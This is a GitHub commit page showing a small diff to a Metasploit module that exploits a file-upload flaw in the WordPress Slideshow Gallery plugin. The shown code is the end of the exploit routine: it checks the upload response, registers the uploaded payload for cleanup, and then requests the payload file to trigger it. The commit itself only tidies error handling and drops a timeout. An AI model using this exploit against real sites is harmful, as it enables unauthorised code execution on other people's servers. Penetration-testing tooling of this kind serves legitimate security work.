Skip to content

Commit 5cb9b1a

Browse files
committed
Removed timeout 2.
1 parent 0e1b173 commit 5cb9b1a

File tree

1 file changed

+9
-5
lines changed

1 file changed

+9
-5
lines changed

modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -99,15 +99,19 @@ def exploit
9999
'cookie' => cookie
100100
})
101101

102-
if res && res.code == 200
103-
register_files_for_cleanup(filename)
102+
if res
103+
if res.code == 200
104+
register_files_for_cleanup(filename)
105+
else
106+
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
107+
end
104108
else
105-
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
109+
fail_with('ERROR')
106110
end
107111

108112
print_status("#{peer} - Calling uploaded file #{filename}")
109-
send_request_cgi({
113+
send_request_cgi(
110114
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename)
111-
}, 2)
115+
)
112116
end
113117
end

0 commit comments

Comments
 (0)